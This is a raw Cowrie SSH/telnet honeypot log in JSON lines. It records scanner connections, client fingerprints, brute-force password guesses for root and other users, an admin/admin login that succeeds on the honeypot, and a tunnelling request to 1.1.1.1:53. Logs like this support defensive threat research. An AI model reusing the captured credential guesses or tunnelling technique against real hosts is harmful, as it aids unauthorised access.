{"eventid":"cowrie.login.failed","username":"root","password":"ljxtymrf","message":"login attempt [root/ljxtymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:50.266789Z","src_ip":"103.82.132.16","session":"72c5c6d17bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:51.526230Z","src_ip":"103.82.132.16","session":"72c5c6d17bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":2813,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f5bd8c6a808","protocol":"ssh","message":"New connection: 79.127.181.44:2813 (10.17.0.5:22) [session: 3f5bd8c6a808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:56.230028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:56.439323Z","src_ip":"79.127.181.44","session":"3f5bd8c6a808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:56.643211Z","src_ip":"79.127.181.44","session":"3f5bd8c6a808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:56.648370Z","src_ip":"79.127.181.44","session":"3f5bd8c6a808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57540,"dst_ip":"10.17.0.5","dst_port":23,"session":"78e1cde276d2","protocol":"telnet","message":"New connection: 152.42.224.71:57540 (10.17.0.5:23) [session: 78e1cde276d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:56.762143Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53420,"dst_ip":"10.17.0.5","dst_port":22,"session":"2979d42d825a","protocol":"ssh","message":"New connection: 103.153.68.219:53420 (10.17.0.5:22) [session: 2979d42d825a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:01.984395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:01.989411Z","src_ip":"103.153.68.219","session":"2979d42d825a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:02.238352Z","src_ip":"103.153.68.219","session":"2979d42d825a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57542,"dst_ip":"10.17.0.5","dst_port":23,"session":"f25907704bac","protocol":"telnet","message":"New connection: 152.42.224.71:57542 (10.17.0.5:23) [session: f25907704bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:02.502440Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"klopklop","message":"login attempt [root/klopklop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:02.985554Z","src_ip":"103.153.68.219","session":"2979d42d825a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:04.236745Z","src_ip":"103.153.68.219","session":"2979d42d825a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42348,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf8273b8b27","protocol":"telnet","message":"New connection: 152.42.224.71:42348 (10.17.0.5:23) [session: ddf8273b8b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:09.406404Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55871,"dst_ip":"159.203.135.109","dst_port":22,"session":"59139fa25fa5","protocol":"ssh","message":"New connection: 152.42.212.128:55871 (159.203.135.109:22) [session: 59139fa25fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:10.019760Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:10.025455Z","src_ip":"152.42.212.128","session":"59139fa25fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:10.034016Z","src_ip":"152.42.212.128","session":"59139fa25fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.66317415237427,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:12.566602Z","src_ip":"152.42.224.71","session":"8604dbd776e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42354,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe175e201f8e","protocol":"telnet","message":"New connection: 152.42.224.71:42354 (10.17.0.5:23) [session: fe175e201f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:16.819097Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36150,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f443a1b3fd","protocol":"telnet","message":"New connection: 152.42.224.71:36150 (10.17.0.5:23) [session: 69f443a1b3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:23.142725Z"}
{"eventid":"cowrie.session.closed","duration":49.418766498565674,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:24.462226Z","src_ip":"152.42.224.71","session":"3a481c4b5eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36154,"dst_ip":"10.17.0.5","dst_port":23,"session":"905f1ebd1538","protocol":"telnet","message":"New connection: 152.42.224.71:36154 (10.17.0.5:23) [session: 905f1ebd1538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:25.743642Z"}
{"eventid":"cowrie.session.closed","duration":120.00111365318298,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:27.011823Z","src_ip":"152.42.224.71","session":"2e2c0d2f08e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55848,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb8df7fd8cf","protocol":"telnet","message":"New connection: 152.42.224.71:55848 (10.17.0.5:23) [session: 4bb8df7fd8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:34.136184Z"}
{"eventid":"cowrie.session.closed","duration":46.80657458305359,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:36.559163Z","src_ip":"152.42.224.71","session":"f0e7db73feaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.46991777420044,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:43.288813Z","src_ip":"152.42.224.71","session":"fe175e201f8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54476,"dst_ip":"10.17.0.5","dst_port":23,"session":"69015fd966b6","protocol":"telnet","message":"New connection: 152.42.224.71:54476 (10.17.0.5:23) [session: 69015fd966b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:44.091563Z"}
{"eventid":"cowrie.session.closed","duration":37.21908664703369,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:46.625330Z","src_ip":"152.42.224.71","session":"ddf8273b8b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6fcfa41216","protocol":"telnet","message":"New connection: 152.42.224.71:38638 (10.17.0.5:23) [session: bd6fcfa41216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:48.054879Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38652,"dst_ip":"10.17.0.5","dst_port":23,"session":"929e3b9a0e10","protocol":"telnet","message":"New connection: 152.42.224.71:38652 (10.17.0.5:23) [session: 929e3b9a0e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:49.063411Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38656,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab97f6ddbb3","protocol":"telnet","message":"New connection: 152.42.224.71:38656 (10.17.0.5:23) [session: aab97f6ddbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:51.205794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38666,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e51ed1065e3","protocol":"telnet","message":"New connection: 152.42.224.71:38666 (10.17.0.5:23) [session: 4e51ed1065e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:52.218446Z"}
{"eventid":"cowrie.session.closed","duration":50.58511996269226,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:53.087435Z","src_ip":"152.42.224.71","session":"f25907704bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37534,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d495a4dd92","protocol":"ssh","message":"New connection: 103.122.221.179:37534 (10.17.0.5:22) [session: a2d495a4dd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:54.634665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:54.639618Z","src_ip":"103.122.221.179","session":"a2d495a4dd92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:54.902504Z","src_ip":"103.122.221.179","session":"a2d495a4dd92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nadegda","message":"login attempt [root/nadegda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:55.682628Z","src_ip":"103.122.221.179","session":"a2d495a4dd92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134539604187,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:55.892245Z","src_ip":"152.42.224.71","session":"a0f36a22246d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:47:56.945407Z","src_ip":"103.122.221.179","session":"a2d495a4dd92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.01013731956482,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:02.101556Z","src_ip":"152.42.224.71","session":"69015fd966b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51020,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5cf248458d7","protocol":"ssh","message":"New connection: 87.251.64.176:51020 (10.17.0.5:22) [session: b5cf248458d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.179667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.184526Z","src_ip":"87.251.64.176","session":"b5cf248458d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.281014Z","src_ip":"87.251.64.176","session":"b5cf248458d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.77064085006714,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.532688Z","src_ip":"152.42.224.71","session":"78e1cde276d2","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.570560Z","src_ip":"87.251.64.176","session":"b5cf248458d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.671404Z","session":"b5cf248458d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.770244Z","src_ip":"87.251.64.176","session":"b5cf248458d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:04.870231Z","src_ip":"87.251.64.176","session":"b5cf248458d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.77553749084473,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:08.918135Z","src_ip":"152.42.224.71","session":"69f443a1b3fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":38560,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c697b1b7e70","protocol":"ssh","message":"New connection: 213.209.159.56:38560 (159.203.135.109:22) [session: 4c697b1b7e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:09.504670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:09.509300Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:09.591699Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven","message":"login attempt [rayven/rayven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:09.991266Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75503873825073,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:10.890978Z","src_ip":"152.42.224.71","session":"4bb8df7fd8cf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven1","message":"login attempt [rayven/rayven1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:11.077005Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven123","message":"login attempt [rayven/rayven123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:12.162057Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.827309608459473,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:13.045635Z","src_ip":"152.42.224.71","session":"4e51ed1065e3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven1234","message":"login attempt [rayven/rayven1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:13.246601Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven12345","message":"login attempt [rayven/rayven12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:14.332841Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41562,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe7ffb9e982","protocol":"telnet","message":"New connection: 152.42.224.71:41562 (10.17.0.5:23) [session: 0fe7ffb9e982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:14.684714Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:48:15.418153Z","src_ip":"213.209.159.56","session":"4c697b1b7e70","protocol":"ssh"}
